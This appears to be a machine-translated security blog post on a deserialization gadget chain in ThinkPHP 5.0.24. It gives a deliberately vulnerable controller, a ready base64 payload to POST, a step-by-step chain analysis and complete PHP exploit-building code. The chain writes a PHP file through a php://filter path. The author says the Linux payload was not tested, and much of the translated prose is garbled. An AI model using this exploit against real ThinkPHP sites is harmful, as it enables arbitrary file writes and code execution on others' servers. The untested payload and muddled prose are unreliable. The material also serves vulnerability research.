ThinkPHP5.0.24_ Analysis of deserialization vulnerability in Linux
- ThinkPHP5.0.24
- Vulnerability code
<?php
namespace app\index\controller;
class Index
{
public function test01(){
$code = $_POST['code'];
unserialize(base64_decode($code));
}
}
- payload
/index.php/index/index/test01
POST
code=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
Vulnerability analysis
- Entry point or Windows::__destruct, called through the removeFiles method__ ToString method, conversion: is used in TP5.1.37 deserialization:__ ToString, but there is no such class in TP5.0.24. Here, Model::__toString
- After model:__ ToString - > model:: tojason - > model:: toArray calls the chain and enters the toArray method. You need to find controllable objects - > class methods (controllable variables) in the toArray method. Here are the following four
$item[$key] = $relation->append($name)->toArray();
$item[$key] = $relation->append([$attr])->toArray();
$bindAttr = $modelRelation->getBindAttr();
$item[$key] = $value ? $value->getAttr($attr) : null;
- The fourth one used here, $this - > append is controllable, then $key and $name are controllable, and $relation ship is obtained through Loader::parseName
- Follow up the parseName method and find that $name is returned, so $relation ship is controllable
- Go back to the toArray method and follow up the method_exists($this, $relation) knows that $relation needs to be a method, and this method exists in the Model class, and then follow up the method_exists($modelRelation, 'getBindAttr') knows that $modelRelation needs to be an object, and this object needs to have a getBindAttr method. $modelRelation is obtained through $this - > $relation(), so $this - > $relation() needs to return an object
- The Model::getError method is found here, and the return value is controllable! So $modelRelation is controllable
- getBindAttr method is required for $modelRelation. Here, OneToOne::getBindAttr method is used. The return value of this method is controllable! However, the OneToOne class is abstract, so its subclass HasOne is used, so $modelRelation needs to point to the HasOne object.
- The value of $value is obtained through the getRelationData method. Following this method, we want to make the return value $this - > parent, and the value of $value can be controlled.
- If the return value is $this - > parent, you need to meet the conditions of the if statement. First look at $modelrelation - > isselfrlation(), and follow up the relation:: isselfrlation() method. It is found that the return value is controllable, so this condition can be met. The second condition is get_ class($modelRelation->getModel()) == get_ Class ($this - > parent), follow up the relationship:: getmodel method. The getmodel method calls the Query::getModel method. It is found that the return value is controllable. At this point, the conditions of the if statement can be met.
- Next, $bindAttr is obtained through the OneToOne::getBindAttr method, and the return value of the follow-up method is controllable!
- At this point, you can enter $item [$key] = $value$ value->getAttr($attr) : null; If $value is controllable, you can call any class__ The call method is used. Output:__ Call method, follow up, $method is getattr, and then $this - > styles is controllable, so you can call the block method. As for the $args parameter, don't worry about it, and you can't use it in the deserialization chain
- Follow up the block method and enter the Output::write method through the output:: writeln - > Output::write call, and the value of the second parameter $newline is true (you can see this by looking back at the chain)
- $this - > handle is controllable, so you can call the write method of any class. Here, select the Memcached::write method to call
- For the follow-up method, $this - > handler here is also controllable, so you can call the set method of any class. The first parameter is partially controllable, the third parameter is completely controllable, and the second parameter is true. File::set is used here
- For the follow-up method, $filename is obtained through the getCacheKey method, and the passed in name parameter is partially controllable.
- Follow up the getCacheKey method because $this - >options['path'] is controllable, so the return value is partially controllable
- Here, $data is not controllable because $value is true. Although $expire is controllable, it cannot be used here because% d (value) is written
- Continue to look down. setTagItem method is called, and the passed in $filename is partially controllable. It is found that set method is called again, and because the second parameter $value of calling set method is obtained through the assignment of $name, that is, $value is partially controllable, when file_put_contents is called again, the first parameter and the second parameter are partially controllable, so you can write horse, exit can be bypassed by pseudo protocol.
exp construction
<?php
namespace think\process\pipes{
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files[] = new Pivot();
}
}
}
namespace think{
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct(){
$this->append = [
'ky' => 'getError'
];
$this->error = new HasOne();
$this->parent = new Output();
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{}
}
namespace think\model\relation{
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct(){
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = [
'ky' => 'is a boy'
];
}
}
}
namespace think\db{
use think\console\Output;
class Query{
protected $model;
public function __construct(){
$this->model = new Output();
}
}
}
namespace think\console{
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles;
public function __construct(){
$this->handle = new Memcached();
$this->styles = [
'ky' => 'getAttr'
];
}
}
}
namespace think\session\driver{
use think\cache\driver\File;
class Memcached{
protected $handler;
protected $config = [
'host' => '127.0.0.1', // memcache host
'port' => 11211, // memcache port
'expire' => 3600, // session validity
'timeout' => 0, // Connection timeout in milliseconds
'session_name' => 'ky', // memcache key prefix
'username' => '', //account number
'password' => '', //password
];
public function __construct(){
$this->handler = new File();
}
}
}
namespace think\cache\driver{
class File{
protected $options = [];
protected $tag;
public function __construct(){
$this->options = [
'cache_subdir' => false,
'prefix' => "",
'path' => "php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>",
'data_compress' => false,
'expire' => 0
];
$this->tag = 'ky';
}
}
}
namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
Write it at the back
- This vulnerability needs to be under Linux, because the horse's name cannot be written under Windows
- TP in Linux environment is not deployed well, so I didn't test this payload. Instead, I output the file name under Windows. I think it shouldn't be a problem. I'll make it up when I have time